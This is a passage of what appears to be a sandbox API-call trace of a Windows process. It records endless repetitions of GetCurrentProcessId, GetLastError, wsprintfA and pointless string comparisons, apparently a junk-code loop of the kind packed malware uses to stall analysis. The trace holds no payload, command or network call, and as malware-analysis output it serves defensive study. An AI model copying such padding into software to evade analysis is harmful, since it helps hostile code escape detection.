GetCurrentProcess () returned 0xffffffff [0069.416] GetLastError () returned 0x12 [0069.416] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9583P") returned 7 [0069.416] SetLastError (dwErrCode=0x12) [0069.416] GetCurrentProcessId () returned 0x81c [0069.416] GetLastError () returned 0x12 [0069.416] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9584P") returned 7 [0069.416] SetLastError (dwErrCode=0x12) [0069.416] GetCurrentProcessId () returned 0x81c [0069.416] GetCurrentProcessId () returned 0x81c [0069.416] GetCurrentProcessId () returned 0x81c [0069.416] GetCurrentProcessId () returned 0x81c [0069.416] lstrlenA (lpString="just string") returned 11 [0069.416] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.416] GetLastError () returned 0x12 [0069.416] GetCurrentProcessId () returned 0x81c [0069.416] lstrlenA (lpString="just string") returned 11 [0069.416] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.416] GetLastError () returned 0x12 [0069.416] GetLastError () returned 0x12 [0069.416] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.416] SetLastError (dwErrCode=0x12) [0069.416] GetCurrentProcess () returned 0xffffffff [0069.416] GetLastError () returned 0x12 [0069.416] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E95A0P") returned 7 [0069.416] SetLastError (dwErrCode=0x12) [0069.416] GetCurrentProcessId () returned 0x81c [0069.416] GetCurrentProcess () returned 0xffffffff [0069.416] GetLastError () returned 0x12 [0069.416] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E95A1P") returned 7 [0069.416] SetLastError (dwErrCode=0x12) [0069.416] GetCurrentProcessId () returned 0x81c [0069.416] GetLastError () returned 0x12 [0069.416] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E95A2P") returned 7 [0069.417] SetLastError (dwErrCode=0x12) [0069.417] GetCurrentProcessId () returned 0x81c [0069.417] GetCurrentProcessId () returned 0x81c [0069.417] GetCurrentProcessId () returned 0x81c [0069.417] GetCurrentProcessId () returned 0x81c [0069.417] lstrlenA (lpString="just string") returned 11 [0069.417] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.417] GetLastError () returned 0x12 [0069.417] GetLastError () returned 0x12 [0069.417] GetLastError () returned 0x12 [0069.417] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E95CAP") returned 7 [0069.417] SetLastError (dwErrCode=0x12) [0069.417] GetCurrentProcessId () returned 0x81c [0069.417] GetCurrentProcessId () returned 0x81c [0069.417] GetCurrentProcessId () returned 0x81c [0069.417] GetCurrentProcessId () returned 0x81c [0069.417] lstrlenA (lpString="just string") returned 11 [0069.417] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.417] GetLastError () returned 0x12 [0069.417] GetLastError () returned 0x12 [0069.417] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.417] SetLastError (dwErrCode=0x12) [0069.417] GetCurrentProcess () returned 0xffffffff [0069.417] GetLastError () returned 0x12 [0069.417] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E95E6P") returned 7 [0069.417] SetLastError (dwErrCode=0x12) [0069.417] GetCurrentProcessId () returned 0x81c [0069.417] GetCurrentProcess () returned 0xffffffff [0069.417] GetLastError () returned 0x12 [0069.417] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E95E7P") returned 7 [0069.417] SetLastError (dwErrCode=0x12) [0069.417] GetCurrentProcessId () returned 0x81c [0069.417] GetLastError () returned 0x12 [0069.417] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E95E8P") returned 7 [0069.417] SetLastError (dwErrCode=0x12) [0069.417] GetCurrentProcessId () returned 0x81c [0069.417] GetCurrentProcessId () returned 0x81c [0069.417] GetCurrentProcessId () returned 0x81c [0069.417] GetCurrentProcessId () returned 0x81c [0069.417] lstrlenA (lpString="just string") returned 11 [0069.417] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.417] GetLastError () returned 0x12 [0069.417] GetLastError () returned 0x12 [0069.417] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.417] SetLastError (dwErrCode=0x12) [0069.417] GetCurrentProcess () returned 0xffffffff [0069.417] GetLastError () returned 0x12 [0069.417] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E962CP") returned 7 [0069.417] SetLastError (dwErrCode=0x12) [0069.417] GetCurrentProcessId () returned 0x81c [0069.417] GetCurrentProcess () returned 0xffffffff [0069.417] GetLastError () returned 0x12 [0069.417] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E962DP") returned 7 [0069.417] SetLastError (dwErrCode=0x12) [0069.418] GetCurrentProcessId () returned 0x81c [0069.418] GetLastError () returned 0x12 [0069.418] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E962EP") returned 7 [0069.418] SetLastError (dwErrCode=0x12) [0069.418] GetCurrentProcessId () returned 0x81c [0069.418] GetCurrentProcessId () returned 0x81c [0069.418] GetCurrentProcessId () returned 0x81c [0069.418] GetCurrentProcessId () returned 0x81c [0069.418] lstrlenA (lpString="just string") returned 11 [0069.418] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.418] GetLastError () returned 0x12 [0069.418] GetLastError () returned 0x12 [0069.418] GetCurrentProcessId () returned 0x81c [0069.418] GetCurrentProcessId () returned 0x81c [0069.418] GetCurrentProcessId () returned 0x81c [0069.418] lstrlenA (lpString="just string") returned 11 [0069.418] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.418] GetLastError () returned 0x12 [0069.418] GetCurrentProcess () returned 0xffffffff [0069.418] GetLastError () returned 0x12 [0069.418] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9687P") returned 7 [0069.418] SetLastError (dwErrCode=0x12) [0069.418] GetCurrentProcessId () returned 0x81c [0069.418] GetLastError () returned 0x12 [0069.418] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9688P") returned 7 [0069.418] SetLastError (dwErrCode=0x12) [0069.418] GetCurrentProcessId () returned 0x81c [0069.418] GetCurrentProcessId () returned 0x81c [0069.418] GetCurrentProcessId () returned 0x81c [0069.418] GetCurrentProcessId () returned 0x81c [0069.418] lstrlenA (lpString="just string") returned 11 [0069.418] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.418] GetLastError () returned 0x12 [0069.418] GetLastError () returned 0x12 [0069.418] GetLastError () returned 0x12 [0069.418] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.418] SetLastError (dwErrCode=0x12) [0069.418] GetCurrentProcess () returned 0xffffffff [0069.418] GetLastError () returned 0x12 [0069.418] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E96CCP") returned 7 [0069.418] SetLastError (dwErrCode=0x12) [0069.418] GetCurrentProcessId () returned 0x81c [0069.418] GetCurrentProcess () returned 0xffffffff [0069.418] GetLastError () returned 0x12 [0069.418] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E96CDP") returned 7 [0069.418] SetLastError (dwErrCode=0x12) [0069.418] GetCurrentProcessId () returned 0x81c [0069.418] GetLastError () returned 0x12 [0069.418] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E96CEP") returned 7 [0069.418] SetLastError (dwErrCode=0x12) [0069.418] GetCurrentProcessId () returned 0x81c [0069.418] GetCurrentProcessId () returned 0x81c [0069.418] GetCurrentProcessId () returned 0x81c [0069.418] GetCurrentProcessId () returned 0x81c [0069.418] lstrlenA (lpString="just string") returned 11 [0069.418] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.419] GetLastError () returned 0x12 [0069.419] GetLastError () returned 0x12 [0069.419] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.419] SetLastError (dwErrCode=0x12) [0069.419] GetCurrentProcess () returned 0xffffffff [0069.419] GetLastError () returned 0x12 [0069.419] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E96F4P") returned 7 [0069.419] SetLastError (dwErrCode=0x12) [0069.419] GetCurrentProcessId () returned 0x81c [0069.419] GetCurrentProcess () returned 0xffffffff [0069.419] GetLastError () returned 0x12 [0069.419] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E96F5P") returned 7 [0069.419] SetLastError (dwErrCode=0x12) [0069.419] GetCurrentProcessId () returned 0x81c [0069.419] GetLastError () returned 0x12 [0069.419] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E96F6P") returned 7 [0069.419] SetLastError (dwErrCode=0x12) [0069.419] GetCurrentProcessId () returned 0x81c [0069.419] GetCurrentProcessId () returned 0x81c [0069.419] GetCurrentProcessId () returned 0x81c [0069.419] GetCurrentProcessId () returned 0x81c [0069.419] lstrlenA (lpString="just string") returned 11 [0069.419] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.419] GetLastError () returned 0x12 [0069.419] GetLastError () returned 0x12 [0069.419] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.419] SetLastError (dwErrCode=0x12) [0069.419] GetCurrentProcess () returned 0xffffffff [0069.419] GetLastError () returned 0x12 [0069.419] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E973AP") returned 7 [0069.419] SetLastError (dwErrCode=0x12) [0069.419] GetCurrentProcessId () returned 0x81c [0069.419] GetCurrentProcess () returned 0xffffffff [0069.419] GetLastError () returned 0x12 [0069.419] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E973BP") returned 7 [0069.419] SetLastError (dwErrCode=0x12) [0069.419] GetCurrentProcessId () returned 0x81c [0069.419] GetLastError () returned 0x12 [0069.419] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E973CP") returned 7 [0069.419] SetLastError (dwErrCode=0x12) [0069.419] GetCurrentProcessId () returned 0x81c [0069.419] GetCurrentProcessId () returned 0x81c [0069.419] GetCurrentProcessId () returned 0x81c [0069.419] GetCurrentProcessId () returned 0x81c [0069.419] lstrlenA (lpString="just string") returned 11 [0069.419] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.419] GetLastError () returned 0x12 [0069.419] GetCurrentProcess () returned 0xffffffff [0069.419] GetLastError () returned 0x12 [0069.419] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9777P") returned 7 [0069.419] SetLastError (dwErrCode=0x12) [0069.419] GetCurrentProcessId () returned 0x81c [0069.419] GetLastError () returned 0x12 [0069.419] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9778P") returned 7 [0069.419] SetLastError (dwErrCode=0x12) [0069.420] GetCurrentProcessId () returned 0x81c [0069.420] GetCurrentProcessId () returned 0x81c [0069.420] GetCurrentProcessId () returned 0x81c [0069.420] GetCurrentProcessId () returned 0x81c [0069.420] lstrlenA (lpString="just string") returned 11 [0069.420] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.420] GetLastError () returned 0x12 [0069.420] GetCurrentProcessId () returned 0x81c [0069.420] GetCurrentProcessId () returned 0x81c [0069.420] GetCurrentProcessId () returned 0x81c [0069.420] lstrlenA (lpString="just string") returned 11 [0069.420] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.420] GetLastError () returned 0x12 [0069.420] GetLastError () returned 0x12 [0069.420] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E97E6P") returned 7 [0069.420] SetLastError (dwErrCode=0x12) [0069.420] GetCurrentProcessId () returned 0x81c [0069.420] GetCurrentProcessId () returned 0x81c [0069.420] GetCurrentProcessId () returned 0x81c [0069.420] GetCurrentProcessId () returned 0x81c [0069.420] lstrlenA (lpString="just string") returned 11 [0069.420] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.420] GetLastError () returned 0x12 [0069.420] GetCurrentProcessId () returned 0x81c [0069.420] GetCurrentProcessId () returned 0x81c [0069.420] lstrlenA (lpString="just string") returned 11 [0069.420] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.420] GetLastError () returned 0x12 [0069.420] GetLastError () returned 0x12 [0069.420] lstrlenA (lpString="just string") returned 11 [0069.420] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.420] GetLastError () returned 0x12 [0069.420] GetLastError () returned 0x12 [0069.420] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.420] SetLastError (dwErrCode=0x12) [0069.420] GetCurrentProcess () returned 0xffffffff [0069.420] GetLastError () returned 0x12 [0069.420] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9898P") returned 7 [0069.420] SetLastError (dwErrCode=0x12) [0069.420] GetCurrentProcessId () returned 0x81c [0069.420] GetCurrentProcess () returned 0xffffffff [0069.420] GetLastError () returned 0x12 [0069.420] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9899P") returned 7 [0069.420] SetLastError (dwErrCode=0x12) [0069.420] GetCurrentProcessId () returned 0x81c [0069.420] GetLastError () returned 0x12 [0069.420] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E989AP") returned 7 [0069.420] SetLastError (dwErrCode=0x12) [0069.420] GetCurrentProcessId () returned 0x81c [0069.420] GetCurrentProcessId () returned 0x81c [0069.420] GetCurrentProcessId () returned 0x81c [0069.420] GetCurrentProcessId () returned 0x81c [0069.420] lstrlenA (lpString="just string") returned 11 [0069.420] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.420] GetLastError () returned 0x12 [0069.420] GetLastError () returned 0x12 [0069.420] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E98A4P") returned 7 [0069.420] SetLastError (dwErrCode=0x12) [0069.421] GetCurrentProcessId () returned 0x81c [0069.421] GetCurrentProcessId () returned 0x81c [0069.421] GetCurrentProcessId () returned 0x81c [0069.421] GetCurrentProcessId () returned 0x81c [0069.421] lstrlenA (lpString="just string") returned 11 [0069.421] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.421] GetLastError () returned 0x12 [0069.421] GetCurrentProcess () returned 0xffffffff [0069.421] GetLastError () returned 0x12 [0069.421] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E98E9P") returned 7 [0069.421] SetLastError (dwErrCode=0x12) [0069.421] GetCurrentProcessId () returned 0x81c [0069.421] GetLastError () returned 0x12 [0069.421] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E98EAP") returned 7 [0069.421] SetLastError (dwErrCode=0x12) [0069.421] GetCurrentProcessId () returned 0x81c [0069.421] GetCurrentProcessId () returned 0x81c [0069.421] GetCurrentProcessId () returned 0x81c [0069.421] GetCurrentProcessId () returned 0x81c [0069.421] lstrlenA (lpString="just string") returned 11 [0069.421] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.421] GetLastError () returned 0x12 [0069.421] GetCurrentProcessId () returned 0x81c [0069.421] GetCurrentProcessId () returned 0x81c [0069.421] lstrlenA (lpString="just string") returned 11 [0069.421] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.421] GetLastError () returned 0x12 [0069.421] GetLastError () returned 0x12 [0069.421] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.421] SetLastError (dwErrCode=0x12) [0069.421] GetCurrentProcess () returned 0xffffffff [0069.421] GetLastError () returned 0x12 [0069.421] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E98FCP") returned 7 [0069.421] SetLastError (dwErrCode=0x12) [0069.421] GetCurrentProcessId () returned 0x81c [0069.421] GetCurrentProcess () returned 0xffffffff [0069.421] GetLastError () returned 0x12 [0069.421] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E98FDP") returned 7 [0069.421] SetLastError (dwErrCode=0x12) [0069.421] GetCurrentProcessId () returned 0x81c [0069.421] GetLastError () returned 0x12 [0069.421] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E98FEP") returned 7 [0069.421] SetLastError (dwErrCode=0x12) [0069.421] GetCurrentProcessId () returned 0x81c [0069.421] GetCurrentProcessId () returned 0x81c [0069.421] GetCurrentProcessId () returned 0x81c [0069.421] GetCurrentProcessId () returned 0x81c [0069.421] lstrlenA (lpString="just string") returned 11 [0069.421] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.421] GetLastError () returned 0x12 [0069.421] GetLastError () returned 0x12 [0069.421] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.421] SetLastError (dwErrCode=0x12) [0069.421] GetCurrentProcess () returned 0xffffffff [0069.421] GetLastError () returned 0x12 [0069.421] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E992EP") returned 7 [0069.422] SetLastError (dwErrCode=0x12) [0069.422] GetCurrentProcessId () returned 0x81c [0069.422] GetCurrentProcess () returned 0xffffffff [0069.422] GetLastError () returned 0x12 [0069.422] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E992FP") returned 7 [0069.422] SetLastError (dwErrCode=0x12) [0069.422] GetCurrentProcessId () returned 0x81c [0069.422] GetLastError () returned 0x12 [0069.422] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9930P") returned 7 [0069.422] SetLastError (dwErrCode=0x12) [0069.422] GetCurrentProcessId () returned 0x81c [0069.422] GetCurrentProcessId () returned 0x81c [0069.422] GetCurrentProcessId () returned 0x81c [0069.422] GetCurrentProcessId () returned 0x81c [0069.422] lstrlenA (lpString="just string") returned 11 [0069.422] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.422] GetLastError () returned 0x12 [0069.422] GetLastError () returned 0x12 [0069.422] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9976P") returned 7 [0069.422] SetLastError (dwErrCode=0x12) [0069.422] GetCurrentProcessId () returned 0x81c [0069.422] GetCurrentProcessId () returned 0x81c [0069.422] GetCurrentProcessId () returned 0x81c [0069.422] GetCurrentProcessId () returned 0x81c [0069.422] lstrlenA (lpString="just string") returned 11 [0069.422] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.422] GetLastError () returned 0x12 [0069.422] lstrlenA (lpString="just string") returned 11 [0069.422] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.422] GetLastError () returned 0x12 [0069.422] GetLastError () returned 0x12 [0069.422] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.422] SetLastError (dwErrCode=0x12) [0069.422] GetCurrentProcess () returned 0xffffffff [0069.422] GetLastError () returned 0x12 [0069.422] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E99D8P") returned 7 [0069.422] SetLastError (dwErrCode=0x12) [0069.422] GetCurrentProcessId () returned 0x81c [0069.422] GetCurrentProcess () returned 0xffffffff [0069.422] GetLastError () returned 0x12 [0069.422] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E99D9P") returned 7 [0069.422] SetLastError (dwErrCode=0x12) [0069.422] GetCurrentProcessId () returned 0x81c [0069.422] GetLastError () returned 0x12 [0069.422] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E99DAP") returned 7 [0069.422] SetLastError (dwErrCode=0x12) [0069.422] GetCurrentProcessId () returned 0x81c [0069.422] GetCurrentProcessId () returned 0x81c [0069.422] GetCurrentProcessId () returned 0x81c [0069.422] GetCurrentProcessId () returned 0x81c [0069.422] lstrlenA (lpString="just string") returned 11 [0069.422] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.422] GetLastError () returned 0x12 [0069.422] GetCurrentProcessId () returned 0x81c [0069.422] GetCurrentProcessId () returned 0x81c [0069.422] lstrlenA (lpString="just string") returned 11 [0069.422] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.422] GetLastError () returned 0x12 [0069.422] GetLastError () returned 0x12 [0069.422] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.423] SetLastError (dwErrCode=0x12) [0069.423] GetCurrentProcess () returned 0xffffffff [0069.423] GetLastError () returned 0x12 [0069.423] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9A32P") returned 7 [0069.423] SetLastError (dwErrCode=0x12) [0069.423] GetCurrentProcessId () returned 0x81c [0069.423] GetCurrentProcess () returned 0xffffffff [0069.423] GetLastError () returned 0x12 [0069.423] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9A33P") returned 7 [0069.423] SetLastError (dwErrCode=0x12) [0069.423] GetCurrentProcessId () returned 0x81c [0069.423] GetLastError () returned 0x12 [0069.423] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9A34P") returned 7 [0069.423] SetLastError (dwErrCode=0x12) [0069.423] GetCurrentProcessId () returned 0x81c [0069.423] GetCurrentProcessId () returned 0x81c [0069.423] GetCurrentProcessId () returned 0x81c [0069.423] GetCurrentProcessId () returned 0x81c [0069.423] lstrlenA (lpString="just string") returned 11 [0069.423] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.423] GetLastError () returned 0x12 [0069.423] GetCurrentProcess () returned 0xffffffff [0069.423] GetLastError () returned 0x12 [0069.423] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9A97P") returned 7 [0069.423] SetLastError (dwErrCode=0x12) [0069.423] GetCurrentProcessId () returned 0x81c [0069.423] GetLastError () returned 0x12 [0069.423] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9A98P") returned 7 [0069.423] SetLastError (dwErrCode=0x12) [0069.423] GetCurrentProcessId () returned 0x81c [0069.423] GetCurrentProcessId () returned 0x81c [0069.423] GetCurrentProcessId () returned 0x81c [0069.423] GetCurrentProcessId () returned 0x81c [0069.423] lstrlenA (lpString="just string") returned 11 [0069.423] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.423] GetLastError () returned 0x12 [0069.423] GetCurrentProcessId () returned 0x81c [0069.423] GetCurrentProcessId () returned 0x81c [0069.423] lstrlenA (lpString="just string") returned 11 [0069.423] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.423] GetLastError () returned 0x12 [0069.423] GetLastError () returned 0x12 [0069.423] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.423] SetLastError (dwErrCode=0x12) [0069.423] GetCurrentProcess () returned 0xffffffff [0069.423] GetLastError () returned 0x12 [0069.423] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9AFAP") returned 7 [0069.423] SetLastError (dwErrCode=0x12) [0069.423] GetCurrentProcessId () returned 0x81c [0069.423] GetCurrentProcess () returned 0xffffffff [0069.423] GetLastError () returned 0x12 [0069.423] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9AFBP") returned 7 [0069.423] SetLastError (dwErrCode=0x12) [0069.423] GetCurrentProcessId () returned 0x81c [0069.424] GetLastError () returned 0x12 [0069.424] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9AFCP") returned 7 [0069.424] SetLastError (dwErrCode=0x12) [0069.424] GetCurrentProcessId () returned 0x81c [0069.424] GetCurrentProcessId () returned 0x81c [0069.424] GetCurrentProcessId () returned 0x81c [0069.424] GetCurrentProcessId () returned 0x81c [0069.424] lstrlenA (lpString="just string") returned 11 [0069.424] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.424] GetLastError () returned 0x12 [0069.424] GetLastError () returned 0x12 [0069.424] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9B06P") returned 7 [0069.424] SetLastError (dwErrCode=0x12) [0069.424] GetCurrentProcessId () returned 0x81c [0069.424] GetCurrentProcessId () returned 0x81c [0069.424] GetCurrentProcessId () returned 0x81c [0069.424] GetCurrentProcessId () returned 0x81c [0069.424] lstrlenA (lpString="just string") returned 11 [0069.424] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.424] GetLastError () returned 0x12 [0069.424] GetCurrentProcessId () returned 0x81c [0069.424] lstrlenA (lpString="just string") returned 11 [0069.424] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.424] GetLastError () returned 0x12 [0069.424] GetCurrentProcessId () returned 0x81c [0069.424] GetCurrentProcessId () returned 0x81c [0069.424] lstrlenA (lpString="just string") returned 11 [0069.424] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.424] GetLastError () returned 0x12 [0069.424] GetLastError () returned 0x12 [0069.424] lstrlenA (lpString="just string") returned 11 [0069.424] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.424] GetLastError () returned 0x12 [0069.424] GetLastError () returned 0x12 [0069.424] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.424] SetLastError (dwErrCode=0x12) [0069.424] GetCurrentProcess () returned 0xffffffff [0069.424] GetLastError () returned 0x12 [0069.424] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9C08P") returned 7 [0069.424] SetLastError (dwErrCode=0x12) [0069.424] GetCurrentProcessId () returned 0x81c [0069.424] GetCurrentProcess () returned 0xffffffff [0069.424] GetLastError () returned 0x12 [0069.424] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9C09P") returned 7 [0069.424] SetLastError (dwErrCode=0x12) [0069.424] GetCurrentProcessId () returned 0x81c [0069.424] GetLastError () returned 0x12 [0069.424] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9C0AP") returned 7 [0069.424] SetLastError (dwErrCode=0x12) [0069.424] GetCurrentProcessId () returned 0x81c [0069.424] GetCurrentProcessId () returned 0x81c [0069.424] GetCurrentProcessId () returned 0x81c [0069.424] GetCurrentProcessId () returned 0x81c [0069.424] lstrlenA (lpString="just string") returned 11 [0069.424] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.424] GetLastError () returned 0x12 [0069.424] GetCurrentProcess () returned 0xffffffff [0069.424] GetLastError () returned 0x12 [0069.424] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9C45P") returned 7 [0069.424] SetLastError (dwErrCode=0x12) [0069.425] GetCurrentProcessId () returned 0x81c [0069.425] GetLastError () returned 0x12 [0069.425] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9C46P") returned 7 [0069.425] SetLastError (dwErrCode=0x12) [0069.425] GetCurrentProcessId () returned 0x81c [0069.425] GetCurrentProcessId () returned 0x81c [0069.425] GetCurrentProcessId () returned 0x81c [0069.425] GetCurrentProcessId () returned 0x81c [0069.425] lstrlenA (lpString="just string") returned 11 [0069.425] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.425] GetLastError () returned 0x12 [0069.425] lstrlenA (lpString="just string") returned 11 [0069.425] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.425] GetLastError () returned 0x12 [0069.425] GetLastError () returned 0x12 [0069.425] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.425] SetLastError (dwErrCode=0x12) [0069.425] GetCurrentProcess () returned 0xffffffff [0069.425] GetLastError () returned 0x12 [0069.425] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9C9EP") returned 7 [0069.425] SetLastError (dwErrCode=0x12) [0069.425] GetCurrentProcessId () returned 0x81c [0069.425] GetCurrentProcess () returned 0xffffffff [0069.425] GetLastError () returned 0x12 [0069.425] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9C9FP") returned 7 [0069.425] SetLastError (dwErrCode=0x12) [0069.425] GetCurrentProcessId () returned 0x81c [0069.425] GetLastError () returned 0x12 [0069.425] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9CA0P") returned 7 [0069.425] SetLastError (dwErrCode=0x12) [0069.425] GetCurrentProcessId () returned 0x81c [0069.425] GetCurrentProcessId () returned 0x81c [0069.425] GetCurrentProcessId () returned 0x81c [0069.425] GetCurrentProcessId () returned 0x81c [0069.425] lstrlenA (lpString="just string") returned 11 [0069.425] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.425] GetLastError () returned 0x12 [0069.425] GetLastError () returned 0x12 [0069.425] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9CB4P") returned 7 [0069.425] SetLastError (dwErrCode=0x12) [0069.425] GetCurrentProcessId () returned 0x81c [0069.425] GetCurrentProcessId () returned 0x81c [0069.425] GetCurrentProcessId () returned 0x81c [0069.425] GetCurrentProcessId () returned 0x81c [0069.425] lstrlenA (lpString="just string") returned 11 [0069.425] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.425] GetLastError () returned 0x12 [0069.425] GetCurrentProcessId () returned 0x81c [0069.425] lstrlenA (lpString="just string") returned 11 [0069.425] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.425] GetLastError () returned 0x12 [0069.425] GetCurrentProcessId () returned 0x81c [0069.425] lstrlenA (lpString="just string") returned 11 [0069.425] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.425] GetLastError () returned 0x12 [0069.425] GetLastError () returned 0x12 [0069.425] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.425] SetLastError (dwErrCode=0x12) [0069.426] GetCurrentProcess () returned 0xffffffff [0069.426] GetLastError () returned 0x12 [0069.426] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9D0CP") returned 7 [0069.426] SetLastError (dwErrCode=0x12) [0069.426] GetCurrentProcessId () returned 